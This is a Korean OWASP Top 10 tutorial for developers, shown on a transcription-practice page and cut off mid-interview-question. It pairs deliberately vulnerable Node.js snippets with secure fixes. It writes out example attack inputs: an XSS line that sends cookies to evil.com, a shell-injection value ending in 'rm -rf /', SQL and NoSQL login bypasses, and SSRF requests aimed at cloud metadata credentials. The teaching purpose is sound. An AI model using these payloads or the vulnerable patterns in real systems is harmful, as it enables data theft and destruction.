Skip to content

필사 모드: 웹 보안 OWASP Top 10 완전 가이드 2025: 개발자가 반드시 막아야 할 10대 취약점

한국어
0%
정확도 0%
💡 왼쪽 원문을 읽으면서 오른쪽에 따라 써보세요. Tab 키로 힌트를 받을 수 있습니다.
원문 렌더가 준비되기 전까지 텍스트 가이드로 표시합니다.

서론: 왜 모든 개발자가 보안을 알아야 하는가

2024년 IBM의 Cost of a Data Breach Report에 따르면 데이터 유출 사고의 **평균 비용은 488만 달러**에 달합니다. 더 충격적인 사실은 **유출 사고의 약 70%가 애플리케이션 레벨의 취약점**에서 시작된다는 점입니다.

**보안은 보안팀만의 책임이 아닙니다.** 모든 코드를 작성하는 개발자가 보안의 첫 번째 방어선입니다. OWASP(Open Web Application Security Project)는 웹 애플리케이션에서 가장 심각한 10대 보안 위험을 정기적으로 발표합니다.

이 글에서는 OWASP Top 10 2021의 각 취약점을 실제 코드와 함께 분석하고, 방어 방법과 실전 체크리스트를 제공합니다.

1. OWASP Top 10 개요

1.1 OWASP Top 10 2021 순위

| 순위 | 카테고리 | 2017 대비 변화 |

|------|----------|---------------|

| A01 | Broken Access Control | 5위에서 1위로 상승 |

| A02 | Cryptographic Failures | 3위에서 2위 (이름 변경) |

| A03 | Injection | 1위에서 3위로 하락 |

| A04 | Insecure Design | 신규 항목 |

| A05 | Security Misconfiguration | 6위에서 5위로 상승 |

| A06 | Vulnerable and Outdated Components | 9위에서 6위로 상승 |

| A07 | Identification and Authentication Failures | 2위에서 7위로 하락 |

| A08 | Software and Data Integrity Failures | 신규 (8위에서 분리) |

| A09 | Security Logging and Monitoring Failures | 10위에서 9위로 상승 |

| A10 | Server-Side Request Forgery (SSRF) | 신규 항목 |

1.2 2017 대비 주요 변화

**Injection이 1위에서 3위로 하락**한 것은 프레임워크들의 기본 방어 메커니즘이 개선되었기 때문입니다. 반면 **Broken Access Control이 1위**로 올라간 것은 API 기반 아키텍처의 확산으로 권한 제어 실수가 급증했기 때문입니다.

**Insecure Design(A04)** 과 **SSRF(A10)** 가 신규 진입한 것은 클라우드 네이티브 환경과 마이크로서비스 아키텍처에서 새로운 공격 벡터가 등장했음을 의미합니다.

2. A01: Broken Access Control (접근 제어 실패)

2.1 개요

접근 제어 실패는 사용자가 자신의 권한을 넘어서는 행동을 할 수 있는 취약점입니다. **94%의 애플리케이션**에서 어떤 형태로든 접근 제어 실패가 발견되었습니다.

2.2 공격 시나리오

**IDOR (Insecure Direct Object Reference):**

공격자가 URL의 ID를 변경하여 다른 사용자 정보 조회

GET /api/users/12345/profile → 자신의 프로필

GET /api/users/12346/profile → 다른 사용자의 프로필 (권한 없이 접근!)

2.3 취약한 코드

// 취약한 코드 - 권한 확인 없이 직접 조회

app.get('/api/users/:id/profile', async (req, res) => {

const user = await User.findById(req.params.id);

res.json(user); // 누구든 ID만 알면 접근 가능!

});

// 취약한 코드 - 역할만 확인하고 리소스 소유권 미확인

app.delete('/api/posts/:id', requireRole('user'), async (req, res) => {

await Post.findByIdAndDelete(req.params.id); // 다른 사용자의 글도 삭제 가능!

res.json({ message: 'Deleted' });

});

2.4 안전한 코드

// 안전한 코드 - 리소스 소유권 확인

app.get('/api/users/:id/profile', authenticate, async (req, res) => {

// 자신의 프로필이거나 관리자인 경우에만 허용

if (req.params.id !== req.user.id && !req.user.isAdmin) {

return res.status(403).json({ error: 'Forbidden' });

}

const user = await User.findById(req.params.id);

res.json(user);

});

// 안전한 코드 - 리소스 소유권 + 역할 확인

app.delete('/api/posts/:id', authenticate, async (req, res) => {

const post = await Post.findById(req.params.id);

if (!post) return res.status(404).json({ error: 'Not found' });

if (post.authorId !== req.user.id && !req.user.isAdmin) {

return res.status(403).json({ error: 'Forbidden' });

}

await post.deleteOne();

res.json({ message: 'Deleted' });

});

2.5 방어 체크리스트

- 기본적으로 모든 접근을 거부하고, 필요한 경우에만 허용 (Deny by default)

- IDOR 방지: 리소스 접근 시 항상 소유권 또는 권한 확인

- CORS 설정을 최소한으로 제한

- JWT 토큰에 역할 정보 포함 시 서버 측에서 재검증

- API 엔드포인트마다 접근 제어 테스트 작성

3. A02: Cryptographic Failures (암호화 실패)

3.1 개요

민감한 데이터를 보호하기 위한 암호화가 누락되거나 잘못 구현된 경우입니다. 이전에는 "Sensitive Data Exposure"라고 불렸습니다.

3.2 공격 시나리오

시나리오 1: HTTP를 통한 비밀번호 전송

POST http://example.com/login (HTTPS가 아닌 HTTP!)

Body: username=admin&password=secret123

시나리오 2: 취약한 해시 알고리즘

비밀번호를 MD5로 저장 → 레인보우 테이블 공격으로 즉시 복호화

3.3 취약한 코드

// 취약: MD5로 비밀번호 해시

const crypto = require('crypto');

const hashedPassword = crypto.createHash('md5').update(password).digest('hex');

// 취약: 하드코딩된 암호화 키

const SECRET_KEY = 'my-super-secret-key-123';

const encrypted = encrypt(data, SECRET_KEY);

// 취약: 약한 TLS 버전 허용

const server = https.createServer({

secureProtocol: 'TLSv1_method', // TLS 1.0은 취약!

});

3.4 안전한 코드

const bcrypt = require('bcrypt');

// 안전: bcrypt로 비밀번호 해시 (솔트 자동 생성)

const SALT_ROUNDS = 12;

const hashedPassword = await bcrypt.hash(password, SALT_ROUNDS);

const isMatch = await bcrypt.compare(inputPassword, hashedPassword);

// 안전: 환경변수에서 키 로드 + AES-256-GCM 사용

const crypto = require('crypto');

const SECRET_KEY = Buffer.from(process.env.ENCRYPTION_KEY, 'hex');

function encrypt(plaintext) {

const iv = crypto.randomBytes(16);

const cipher = crypto.createCipheriv('aes-256-gcm', SECRET_KEY, iv);

const encrypted = Buffer.concat([cipher.update(plaintext, 'utf8'), cipher.final()]);

const tag = cipher.getAuthTag();

return { iv: iv.toString('hex'), encrypted: encrypted.toString('hex'), tag: tag.toString('hex') };

}

// 안전: TLS 1.2 이상만 허용

const server = https.createServer({

minVersion: 'TLSv1.2',

ciphers: 'TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256',

});

3.5 방어 체크리스트

- 모든 통신에 HTTPS(TLS 1.2+) 강제

- 비밀번호는 bcrypt, scrypt, Argon2 사용 (MD5, SHA-1 금지)

- 암호화 키는 환경변수 또는 KMS(Key Management Service) 사용

- AES-256-GCM 등 인증된 암호화 알고리즘 사용

- 민감 데이터를 불필요하게 저장하지 않음

4. A03: Injection (인젝션)

4.1 개요

사용자 입력이 쿼리, 명령어, 코드의 일부로 해석되는 취약점입니다. SQL Injection, NoSQL Injection, OS Command Injection, XSS가 대표적입니다.

4.2 SQL Injection 공격 시나리오

-- 정상 쿼리

SELECT * FROM users WHERE username = 'admin' AND password = 'password123'

-- 공격 입력: username = ' OR '1'='1' --

SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''

-- 결과: 모든 사용자 정보가 반환됨!

4.3 취약한 코드 vs 안전한 코드

// ===== SQL Injection =====

// 취약: 문자열 연결로 쿼리 생성

const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;

db.query(query);

// 안전: 파라미터화된 쿼리 (Prepared Statement)

const query = 'SELECT * FROM users WHERE username = ? AND password = ?';

db.query(query, [username, hashedPassword]);

// 안전: ORM 사용 (Sequelize 예시)

const user = await User.findOne({

where: { username, password: hashedPassword },

});

// ===== NoSQL Injection =====

// 취약: MongoDB - 사용자 입력을 직접 쿼리에 사용

app.post('/login', async (req, res) => {

// 공격: { "username": {"$gt": ""}, "password": {"$gt": ""} }

const user = await User.findOne(req.body);

});

// 안전: 타입 검증 + mongo-sanitize

const sanitize = require('mongo-sanitize');

app.post('/login', async (req, res) => {

const username = sanitize(req.body.username);

if (typeof username !== 'string') return res.status(400).send('Invalid input');

const user = await User.findOne({ username, password: hashedPassword });

});

// ===== OS Command Injection =====

// 취약: 사용자 입력을 쉘 명령어에 직접 사용

const { exec } = require('child_process');

exec(`ping ${userInput}`, callback);

// 공격: userInput = "8.8.8.8; rm -rf /"

// 안전: execFile 사용 (쉘 해석 없음)

const { execFile } = require('child_process');

execFile('ping', ['-c', '4', userInput], callback);

4.4 XSS (Cross-Site Scripting)

// ===== Stored XSS =====

// 취약: 사용자 입력을 그대로 HTML에 삽입

app.get('/comments', async (req, res) => {

const comments = await Comment.find();

let html = '';

comments.forEach(c => {

html += `<div>${c.text}</div>`; // XSS 취약!

});

res.send(html);

});

// 공격 입력: <script>document.location='http://evil.com/?cookie='+document.cookie</script>

// 안전: 출력 인코딩

const he = require('he');

comments.forEach(c => {

html += `<div>${he.encode(c.text)}</div>`;

});

// React는 기본적으로 XSS 방지 (JSX가 자동 이스케이프)

function Comment({ text }) {

return <div>{text}</div>; // 자동으로 HTML 이스케이프됨

}

// 주의: dangerouslySetInnerHTML은 XSS 취약!

// <div dangerouslySetInnerHTML={{ __html: userInput }} /> // 사용 금지!

4.5 방어 체크리스트

- SQL: 항상 파라미터화된 쿼리 또는 ORM 사용

- NoSQL: 입력 타입 검증 + mongo-sanitize

- OS Command: execFile 사용, 사용자 입력을 쉘에 직접 전달 금지

- XSS: 출력 인코딩, CSP 헤더 설정, React/Vue 등 프레임워크의 자동 이스케이프 활용

5. A04: Insecure Design (불안전한 설계)

5.1 개요

보안 제어가 설계 단계에서부터 누락된 경우입니다. A04는 코드 레벨이 아닌 **아키텍처 레벨**의 취약점입니다. 아무리 완벽하게 구현해도 설계 자체가 취약하면 안전할 수 없습니다.

5.2 공격 시나리오

시나리오: 비밀번호 재설정 질문 기반 인증

- "어머니의 성함은?" → SNS에서 쉽게 수집 가능

- 설계 결함: 비밀번호 재설정에 보안 질문만 사용

시나리오: 무제한 파일 업로드

- 파일 크기/타입 제한 없음 → 서버 디스크 고갈 또는 악성 파일 실행

- 설계 결함: 리소스 제한이 아키텍처에 미포함

5.3 안전한 설계 원칙

// 원칙 1: Rate Limiting (요청 제한)

const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({

windowMs: 15 * 60 * 1000, // 15분

max: 5, // 최대 5회 시도

message: 'Too many login attempts. Please try again after 15 minutes.',

standardHeaders: true,

});

app.post('/login', loginLimiter, loginHandler);

// 원칙 2: Business Logic Validation

// 쿠폰 사용 시 중복 사용 방지를 설계 단계에서 고려

async function applyCoupon(userId, couponCode) {

const coupon = await Coupon.findOne({ code: couponCode });

if (!coupon || coupon.usedBy.includes(userId)) {

throw new Error('Invalid or already used coupon');

}

// 원자적 업데이트로 레이스 컨디션 방지

const result = await Coupon.findOneAndUpdate(

{ code: couponCode, usedBy: { $ne: userId } },

{ $push: { usedBy: userId } },

{ new: true }

);

if (!result) throw new Error('Coupon already used');

return result;

}

// 원칙 3: 위협 모델링 (Threat Modeling)

// STRIDE 모델: Spoofing, Tampering, Repudiation,

// Information Disclosure, Denial of Service,

// Elevation of Privilege

5.4 방어 체크리스트

- 설계 단계에서 위협 모델링 수행 (STRIDE, DREAD)

- 비즈니스 로직에 Rate Limiting 포함

- Abuse Case를 Use Case와 함께 작성

- 보안 설계 패턴 라이브러리 활용

- 보안 요구사항을 User Story에 포함

6. A05: Security Misconfiguration (보안 설정 오류)

6.1 개요

서버, 프레임워크, 클라우드 서비스의 보안 설정이 기본값이거나 잘못 구성된 경우입니다. **90%의 애플리케이션**에서 발견되는 가장 흔한 취약점입니다.

6.2 취약한 설정 vs 안전한 설정

// ===== Express.js 보안 설정 =====

// 취약: 기본 설정 사용

const app = express();

app.use(express.json());

// X-Powered-By 헤더가 "Express"를 노출 → 공격자에게 정보 제공

// 안전: Helmet 미들웨어 + 보안 강화

const helmet = require('helmet');

const app = express();

app.use(helmet()); // 여러 보안 헤더 자동 설정

app.disable('x-powered-by');

// 안전: 에러 메시지 정보 노출 방지

app.use((err, req, res, next) => {

console.error(err.stack); // 서버 로그에만 기록

res.status(500).json({

error: 'Internal Server Error', // 일반적인 메시지만 반환

// message: err.message // 절대 노출하지 않음!

// stack: err.stack // 절대 노출하지 않음!

});

});

===== Docker 보안 설정 =====

취약: root 사용자로 실행

FROM node:20

COPY . .

CMD ["node", "server.js"]

안전: non-root 사용자 사용

FROM node:20-slim

RUN groupadd -r appuser && useradd -r -g appuser appuser

WORKDIR /app

COPY --chown=appuser:appuser . .

USER appuser

CMD ["node", "server.js"]

===== AWS S3 보안 설정 =====

취약: 퍼블릭 접근 허용된 S3 버킷

BucketPolicy에 Principal: "*" 설정

안전: 퍼블릭 접근 차단

Resources:

MyBucket:

Type: AWS::S3::Bucket

Properties:

PublicAccessBlockConfiguration:

BlockPublicAcls: true

BlockPublicPolicy: true

IgnorePublicAcls: true

RestrictPublicBuckets: true

BucketEncryption:

ServerSideEncryptionConfiguration:

- ServerSideEncryptionByDefault:

SSEAlgorithm: AES256

6.3 방어 체크리스트

- 프로덕션에서 디버그 모드 비활성화

- 기본 계정/비밀번호 변경

- 불필요한 기능, 포트, 서비스 비활성화

- 보안 헤더 설정 (Helmet 등)

- 클라우드 리소스의 퍼블릭 접근 차단

- Infrastructure as Code(IaC)로 설정 일관성 유지

7. A06: Vulnerable and Outdated Components (취약한 구성 요소)

7.1 개요

알려진 취약점이 있는 라이브러리, 프레임워크, 소프트웨어 구성 요소를 사용하는 경우입니다. Log4Shell(CVE-2021-44228)이 대표적인 사례입니다.

7.2 방어 코드 및 도구

npm 의존성 취약점 감사

npm audit

npm audit fix

Snyk으로 취약점 스캔

npx snyk test

npx snyk monitor # 지속적 모니터링

GitHub Dependabot 설정 (.github/dependabot.yml)

.github/dependabot.yml

version: 2

updates:

- package-ecosystem: "npm"

directory: "/"

schedule:

interval: "weekly"

open-pull-requests-limit: 10

reviewers:

- "security-team"

// package.json - 버전 고정 전략

{

"dependencies": {

"express": "4.18.2", // 정확한 버전 고정

"lodash": "^4.17.21" // 마이너/패치 업데이트 허용

},

"overrides": {

// 간접 의존성의 취약한 버전 강제 업데이트

"nth-check": ">=2.0.1"

}

}

7.3 방어 체크리스트

- npm audit / Snyk / OWASP Dependency-Check 정기 실행

- CI/CD 파이프라인에 의존성 취약점 스캔 통합

- Dependabot 또는 Renovate Bot으로 자동 업데이트 PR 생성

- 사용하지 않는 의존성 제거

- SBOM(Software Bill of Materials) 유지

8. A07: Identification and Authentication Failures (인증 실패)

8.1 개요

인증 메커니즘이 잘못 구현되어 공격자가 사용자 계정에 무단 접근할 수 있는 취약점입니다.

8.2 취약한 코드 vs 안전한 코드

// ===== 취약한 세션 관리 =====

// 취약: 순차적 세션 ID

let sessionCounter = 0;

function createSession() {

return (++sessionCounter).toString(); // 예측 가능!

}

// 안전: 암호학적으로 안전한 랜덤 세션 ID

const crypto = require('crypto');

function createSession() {

return crypto.randomBytes(32).toString('hex'); // 256비트 랜덤

}

// ===== 취약한 JWT 구현 =====

// 취약: algorithm none 허용

const payload = jwt.verify(token, secret); // algorithm 검증 안 함!

// 안전: 명시적 알고리즘 지정

const payload = jwt.verify(token, secret, {

algorithms: ['HS256'], // 허용할 알고리즘 명시

issuer: 'my-app',

audience: 'my-api',

});

// ===== 비밀번호 정책 =====

// 안전: 강력한 비밀번호 검증

function validatePassword(password) {

const minLength = 12;

const hasUpperCase = /[A-Z]/.test(password);

const hasLowerCase = /[a-z]/.test(password);

const hasNumbers = /\d/.test(password);

const hasSpecialChar = /[!@#$%^&*(),.?":{}|<>]/.test(password);

const isNotCommon = !commonPasswords.includes(password);

return (

password.length >= minLength &&

hasUpperCase && hasLowerCase &&

hasNumbers && hasSpecialChar && isNotCommon

);

}

8.3 다중 인증(MFA) 구현

// TOTP (Time-based One-Time Password) 구현

const speakeasy = require('speakeasy');

const QRCode = require('qrcode');

// MFA 설정

async function setupMFA(userId) {

const secret = speakeasy.generateSecret({

name: `MyApp:user-${userId}`,

issuer: 'MyApp',

});

// QR 코드 생성

const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);

// 시크릿을 DB에 저장 (암호화하여)

await User.updateOne({ _id: userId }, { mfaSecret: encrypt(secret.base32) });

return { qrCodeUrl, backupCodes: generateBackupCodes() };

}

// MFA 검증

function verifyMFA(token, userSecret) {

return speakeasy.totp.verify({

secret: userSecret,

encoding: 'base32',

token: token,

window: 1, // 30초 앞뒤 허용

});

}

8.4 방어 체크리스트

- MFA(다중 인증) 구현 및 권장

- 비밀번호 최소 12자 + 복잡도 요구

- 실패한 로그인 시도 제한 (Account Lockout)

- 세션 타임아웃 설정

- 비밀번호 해시에 bcrypt/Argon2 사용

- JWT: 알고리즘 명시, 만료 시간 설정, Refresh Token Rotation

9. A08: Software and Data Integrity Failures (소프트웨어 무결성 실패)

9.1 개요

소프트웨어 업데이트, CI/CD 파이프라인, 데이터 직렬화에서 무결성이 검증되지 않는 경우입니다. SolarWinds 공급망 공격이 대표적 사례입니다.

9.2 취약한 코드 vs 안전한 코드

// ===== 안전하지 않은 역직렬화 =====

// 취약: 사용자 입력을 직접 역직렬화

app.post('/api/data', (req, res) => {

const data = JSON.parse(req.body.serializedData);

// Prototype Pollution 가능!

processData(data);

});

// 안전: 스키마 검증 후 역직렬화

const Joi = require('joi');

const schema = Joi.object({

name: Joi.string().max(100).required(),

age: Joi.number().integer().min(0).max(150),

email: Joi.string().email(),

});

app.post('/api/data', (req, res) => {

const { error, value } = schema.validate(req.body);

if (error) return res.status(400).json({ error: error.details });

processData(value); // 검증된 데이터만 처리

});

===== CI/CD 파이프라인 무결성 =====

GitHub Actions에서 의존성 해시 고정

- uses: actions/checkout@v4 # 태그 고정

더 안전: SHA 해시 고정

uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

9.3 방어 체크리스트

- SRI(Subresource Integrity) 해시를 CDN 리소스에 추가

- CI/CD 파이프라인에서 아티팩트 서명 및 검증

- npm lockfile(package-lock.json) 무결성 확인

- 역직렬화 전 스키마 검증 (Joi, Zod)

- 소프트웨어 업데이트의 디지털 서명 확인

10. A09: Security Logging and Monitoring Failures (로깅 실패)

10.1 개요

보안 관련 이벤트가 기록되지 않거나, 모니터링되지 않아 공격을 탐지하지 못하는 경우입니다. 평균적으로 **유출 사고 탐지까지 194일**이 소요됩니다.

10.2 안전한 보안 로깅

const winston = require('winston');

// 보안 이벤트 전용 로거

const securityLogger = winston.createLogger({

level: 'info',

format: winston.format.combine(

winston.format.timestamp(),

winston.format.json()

),

defaultMeta: { service: 'security' },

transports: [

new winston.transports.File({ filename: 'security.log' }),

// 프로덕션에서는 SIEM으로 전송

],

});

// 로그인 시도 기록

function logAuthEvent(event) {

securityLogger.info('Authentication event', {

type: event.type, // 'login_success', 'login_failure', 'logout'

userId: event.userId,

ip: event.ip,

userAgent: event.userAgent,

timestamp: new Date().toISOString(),

// 주의: 비밀번호는 절대 로깅하지 않음!

});

}

// 중요 작업 감사 로그

function logAuditEvent(action, userId, resource, details) {

securityLogger.info('Audit event', {

action, // 'create', 'update', 'delete', 'export'

userId,

resource, // 'user', 'payment', 'admin_settings'

details,

timestamp: new Date().toISOString(),

});

}

10.3 방어 체크리스트

- 로그인 성공/실패, 권한 변경, 중요 작업을 반드시 로깅

- 비밀번호, 토큰 등 민감 정보는 로그에 포함하지 않음

- 중앙 집중식 로그 관리 (ELK Stack, CloudWatch)

- 이상 탐지 알림 설정 (N분 내 N회 실패 시 알림)

- 로그 변조 방지 (별도 서버에 저장, 감사 로그 immutability)

11. A10: Server-Side Request Forgery (SSRF)

11.1 개요

서버가 공격자가 지정한 URL로 요청을 보내도록 유도하는 공격입니다. 2019년 Capital One 해킹 사건의 핵심 취약점이었습니다.

11.2 공격 시나리오

정상 요청: 외부 이미지 미리보기

POST /api/fetch-url

Body: { "url": "https://example.com/image.png" }

SSRF 공격: 내부 메타데이터 서비스 접근

POST /api/fetch-url

Body: { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }

AWS 인스턴스의 IAM 크레덴셜 탈취!

SSRF 공격: 내부 서비스 접근

POST /api/fetch-url

Body: { "url": "http://internal-admin.local:8080/admin/delete-all" }

11.3 취약한 코드 vs 안전한 코드

const axios = require('axios');

const { URL } = require('url');

const dns = require('dns').promises;

const ipaddr = require('ipaddr.js');

// 취약: 사용자 입력 URL로 직접 요청

app.post('/api/fetch-url', async (req, res) => {

const response = await axios.get(req.body.url); // 위험!

res.json(response.data);

});

// 안전: URL 검증 + IP 차단

async function isUrlSafe(urlString) {

const parsed = new URL(urlString);

// HTTPS만 허용

if (parsed.protocol !== 'https:') return false;

// 내부 호스트명 차단

const blockedHosts = ['localhost', '127.0.0.1', '0.0.0.0', 'metadata.google.internal'];

if (blockedHosts.includes(parsed.hostname)) return false;

// DNS 확인 후 내부 IP 차단

const addresses = await dns.resolve4(parsed.hostname);

for (const addr of addresses) {

const ip = ipaddr.parse(addr);

if (ip.range() !== 'unicast') return false; // 사설 IP, 루프백 등 차단

}

return true;

}

app.post('/api/fetch-url', async (req, res) => {

if (!await isUrlSafe(req.body.url)) {

return res.status(403).json({ error: 'URL not allowed' });

}

const response = await axios.get(req.body.url, {

timeout: 5000,

maxRedirects: 0, // 리다이렉트 차단 (SSRF 우회 방지)

});

res.json(response.data);

});

11.4 방어 체크리스트

- 허용 목록(allowlist) 기반 URL 검증

- 내부 IP 대역(10.x, 172.16-31.x, 192.168.x, 169.254.x) 차단

- IMDSv2 사용 (AWS 메타데이터 서비스 보호)

- 서버에서 외부 요청 시 전용 네트워크 인터페이스 사용

- DNS Rebinding 방지: DNS 해석 후 IP 재확인

12. Beyond OWASP: 추가 취약점

12.1 CSRF (Cross-Site Request Forgery)

// CSRF 방어: csurf 미들웨어

const csrf = require('csurf');

const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {

res.render('form', { csrfToken: req.csrfToken() });

});

app.post('/transfer', csrfProtection, (req, res) => {

// CSRF 토큰 자동 검증

processTransfer(req.body);

});

// SameSite 쿠키로 CSRF 방어

res.cookie('session', sessionId, {

httpOnly: true,

secure: true,

sameSite: 'Strict', // 또는 'Lax'

maxAge: 3600000,

});

12.2 CORS (Cross-Origin Resource Sharing)

const cors = require('cors');

// 취약: 모든 오리진 허용

app.use(cors()); // origin: '*'

// 안전: 특정 오리진만 허용

app.use(cors({

origin: ['https://myapp.com', 'https://admin.myapp.com'],

methods: ['GET', 'POST', 'PUT', 'DELETE'],

credentials: true,

maxAge: 86400, // preflight 캐시 24시간

}));

12.3 CSP (Content Security Policy)

// Content Security Policy 설정

app.use(helmet.contentSecurityPolicy({

directives: {

defaultSrc: ["'self'"],

scriptSrc: ["'self'", "'nonce-abc123'"], // 인라인 스크립트는 nonce 필수

styleSrc: ["'self'", "https://fonts.googleapis.com"],

imgSrc: ["'self'", "data:", "https:"],

connectSrc: ["'self'", "https://api.myapp.com"],

fontSrc: ["'self'", "https://fonts.gstatic.com"],

objectSrc: ["'none'"],

mediaSrc: ["'none'"],

frameSrc: ["'none'"],

},

}));

12.4 Rate Limiting

const rateLimit = require('express-rate-limit');

const RedisStore = require('rate-limit-redis');

// 분산 환경을 위한 Redis 기반 Rate Limiting

const limiter = rateLimit({

store: new RedisStore({

sendCommand: (...args) => redisClient.call(...args),

}),

windowMs: 15 * 60 * 1000,

max: 100,

standardHeaders: true,

legacyHeaders: false,

message: { error: 'Too many requests, please try again later.' },

keyGenerator: (req) => req.ip, // IP 기반 제한

});

// API 엔드포인트별 다른 제한

const authLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 5 });

const apiLimiter = rateLimit({ windowMs: 60 * 1000, max: 30 });

app.use('/api/auth', authLimiter);

app.use('/api/', apiLimiter);

13. Security Headers 완전 가이드

// 모든 보안 헤더를 한 번에 설정

app.use((req, res, next) => {

// XSS 방어

res.setHeader('X-Content-Type-Options', 'nosniff');

res.setHeader('X-XSS-Protection', '0'); // 최신 브라우저는 CSP 사용

// Clickjacking 방어

res.setHeader('X-Frame-Options', 'DENY');

// HTTPS 강제

res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');

// Referrer 정보 제한

res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

// 브라우저 기능 제한

res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');

// CSP

res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'");

next();

});

| 헤더 | 목적 | 권장 값 |

|------|------|---------|

| Content-Security-Policy | XSS/인젝션 방어 | default-src 'self' |

| Strict-Transport-Security | HTTPS 강제 | max-age=31536000; includeSubDomains |

| X-Frame-Options | Clickjacking 방어 | DENY |

| X-Content-Type-Options | MIME 스니핑 방어 | nosniff |

| Referrer-Policy | Referrer 정보 제한 | strict-origin-when-cross-origin |

| Permissions-Policy | 브라우저 기능 제한 | camera=(), microphone=() |

14. 보안 테스팅 도구

14.1 DAST (Dynamic Application Security Testing)

| 도구 | 유형 | 특징 |

|------|------|------|

| OWASP ZAP | 오픈소스 DAST | 자동 스캔 + 수동 테스트, CI/CD 통합 |

| Burp Suite | 상용 DAST | 업계 표준 웹 보안 테스팅 도구 |

| Nuclei | 오픈소스 스캐너 | 템플릿 기반 취약점 스캔 |

14.2 SAST (Static Application Security Testing)

| 도구 | 유형 | 특징 |

|------|------|------|

| SonarQube | 오픈소스 SAST | 코드 품질 + 보안 취약점 분석 |

| Semgrep | 오픈소스 SAST | 가벼운 정적 분석, 커스텀 룰 지원 |

| CodeQL | GitHub SAST | GitHub 통합, 시맨틱 분석 |

14.3 SCA (Software Composition Analysis)

| 도구 | 유형 | 특징 |

|------|------|------|

| Snyk | SCA + SAST | 의존성 취약점 + 코드 취약점 |

| npm audit | 내장 | npm 의존성 취약점 검사 |

| Trivy | 오픈소스 | 컨테이너 이미지 + 파일시스템 스캔 |

GitHub Actions에 보안 스캔 통합

name: Security Scan

on: [push, pull_request]

jobs:

security:

runs-on: ubuntu-latest

steps:

- uses: actions/checkout@v4

- name: Run Snyk

uses: snyk/actions/node@master

env:

SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

- name: Run Semgrep

uses: semgrep/semgrep-action@v1

with:

config: p/owasp-top-ten

- name: Run Trivy

uses: aquasecurity/trivy-action@master

with:

scan-type: 'fs'

severity: 'CRITICAL,HIGH'

15. 프로덕션 보안 체크리스트 (20항목)

인증 및 접근 제어

- [ ] MFA(다중 인증) 구현

- [ ] 비밀번호 최소 12자 + 복잡도 요구

- [ ] 세션 타임아웃 설정 (예: 30분)

- [ ] JWT Refresh Token Rotation 구현

- [ ] RBAC 또는 ABAC 기반 권한 관리

데이터 보호

- [ ] 모든 통신에 HTTPS(TLS 1.2+) 강제

- [ ] 비밀번호 bcrypt/Argon2 해시

- [ ] 암호화 키 KMS 관리

- [ ] PII(개인식별정보) 최소 수집/암호화 저장

입력 검증

- [ ] 파라미터화된 쿼리 사용 (SQL Injection 방지)

- [ ] 출력 인코딩 (XSS 방지)

- [ ] CSRF 토큰 또는 SameSite 쿠키

- [ ] 파일 업로드 타입/크기 제한

인프라 및 설정

- [ ] 보안 헤더 설정 (CSP, HSTS, X-Frame-Options)

- [ ] 프로덕션에서 디버그 모드 비활성화

- [ ] Docker 컨테이너 non-root 실행

- [ ] 클라우드 리소스 퍼블릭 접근 차단

모니터링 및 대응

- [ ] 보안 이벤트 로깅 (인증, 권한 변경, 중요 작업)

- [ ] 의존성 취약점 자동 스캔 (CI/CD 통합)

- [ ] 인시던트 대응 플레이북 준비

16. 면접 예상 질문 15선

기초 질문

**Q1: OWASP Top 10이란 무엇이며, 왜 중요한가요?**

OWASP Top 10은 웹 애플리케이션에서 가장 심각한 10대 보안 위험을 정리한 목록입니다. 3-4년마다 갱신되며, 보안 인식 제고와 개발 가이드라인으로 업계에서 널리 사용됩니다. PCI DSS 같은 규정 준수에서도 참조됩니다.

**Q2: SQL Injection을 방지하는 방법 3가지를 설명하세요.**

1) 파라미터화된 쿼리(Prepared Statement): 쿼리와 데이터를 분리합니다. 2) ORM 사용: Sequelize, Prisma 등이 자동으로 쿼리를 파라미터화합니다. 3) 입력 검증: 화이트리스트 기반으로 허용된 문자만 통과시킵니다.

**Q3: XSS의 3가지 유형을 설명하세요.**

1) Stored XSS: 악성 스크립트가 DB에 저장되어 다른 사용자에게 전달. 2) Reflected XSS: URL 파라미터의 스크립트가 응답에 포함. 3) DOM-based XSS: 클라이언트 측 JavaScript가 DOM을 조작하여 발생. 방어는 출력 인코딩과 CSP 헤더 설정입니다.

**Q4: CSRF란 무엇이며 어떻게 방어하나요?**

CSRF는 인증된 사용자의 브라우저를 이용해 악의적 요청을 보내는 공격입니다. 방어: 1) Anti-CSRF 토큰 사용, 2) SameSite 쿠키 속성, 3) Referer/Origin 헤더 검증, 4) 중요 작업에 재인증 요구.

**Q5: HTTPS가 HTTP보다 안전한 이유를 설명하세요.**

HTTPS는 TLS를 사용하여 세 가지를 보장합니다: 1) 기밀성: 데이터 암호화로 도청 방지, 2) 무결성: 데이터 변조 감지, 3) 인증: 서버 신원 확인(인증서). HTTP는 평문 전송이므로 중간자 공격(MITM)에 취약합니다.

중급 질문

**Q6: Broken Access Control과 Authentication Failure의 차이는?**

Authentication Failure는 "당신이 누구인가?"를 잘못 판단하는 것이고, Broken Access Control은 "당신이 무엇을 할 수 있는가?"를 잘못 제어하는 것입니다. 인증은 신원 확인, 접근 제어는 권한 제어입니다.

**Q7: SSRF 공격이 클라우드 환경에서 특히 위험한 이유는?**

클라우드 환경에는 메타데이터 서비스(169.254.169.254)가 있어 SSRF로 IAM 크레덴셜, 환경 변수 등을 탈취할 수 있습니다. Capital One 해킹이 대표적 사례이며, AWS IMDSv2 사용으로 방어합니다.

**Q8: JWT의 보안 취약점과 대책을 설명하세요.**

취약점: 1) Algorithm None 공격, 2) 시크릿 키 브루트포스, 3) 토큰 탈취 후 만료까지 사용. 대책: 알고리즘 명시 검증, 강력한 시크릿 키(256비트 이상), 짧은 만료 시간 + Refresh Token Rotation.

**Q9: CSP(Content Security Policy)의 동작 원리를 설명하세요.**

